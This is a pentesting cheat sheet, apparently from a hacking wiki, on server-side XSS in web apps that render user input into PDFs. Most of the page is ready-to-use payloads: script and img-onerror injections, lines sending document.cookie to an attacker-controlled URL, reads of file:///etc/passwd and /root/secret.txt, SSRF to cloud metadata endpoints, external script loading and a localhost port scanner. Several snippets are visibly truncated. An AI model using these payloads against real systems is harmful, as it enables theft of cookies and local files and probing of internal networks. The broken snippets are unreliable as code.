Server Side XSS (Dynamic PDF)

Server Side XSS (Dynamic PDF)

If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code. So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.

Please, notice that the <script><\script> tags don't work always, so you will need a different method to execute JS (for example, abusing <img ). Also, note that in a regular exploitation you will be able to see/download the created pdf, so you will be able to see everything you write via JS (using document.write() for example). But, if you cannot see the created PDF, you will probably need extract the information making web request to you (Blind).



<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src=""/>
<img src=x onerror="location.href=''+ document.cookie">
<script>new Image().src=""+encodeURI(document.cookie);</script>
<link rel=attachment href="">


Any of the previous of following payloads may be used inside this SVG payload. One iframe accessing Burpcollab subdomain and another one accessing the metadata endpoint are put as examples.

<svg xmlns:xlink="" version="1.1" class="root" width="800" height="500">
        <foreignObject width="800" height="500">
            <body xmlns="">
                <iframe src="" width="800" height="500"></iframe>
                <iframe src="" width="800" height="500"></iframe>

Path disclosure

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Load an external script

The best conformable way to exploit this vulnerability is to abuse the vulnerability to make the bot load a script you control locally. Then, you will be able to change the payload locally and make the bot load it with the same code every time.

<script src=""></script>
<img src="xasdasdasd" onerror="document.write('<script src=""></script>')"/>

Read local file

x=new XMLHttpRequest;
    xhzeem = new XMLHttpRequest();"GET","file:///etc/passwd");
    xhzeem.onload = function(){document.write(this.responseText);}
    xhzeem.onerror = function(){document.write('failed!')}
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>

Get external web page response as attachment (metadata endpoints)

<link rel=attachment href="http://">

Bot delay

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
    let time = 500;
        let img = document.createElement("img");
        img.src = `${time}ms`;
        time += 500;
    }, 500);
<img src="">

Port Scan

<!--Scan local port and receive a ping indicating which ones are found-->
const checkPort = (port) => {
    fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
        let img = document.createElement("img");
        img.src = `${port}`;

for(let i=0; i<1000; i++) {
<img src="">

This vulnerability can be transformed very easily in a SSRF (as you can make the script load external resources). So just try to exploit it (read some metadata?).


Last updated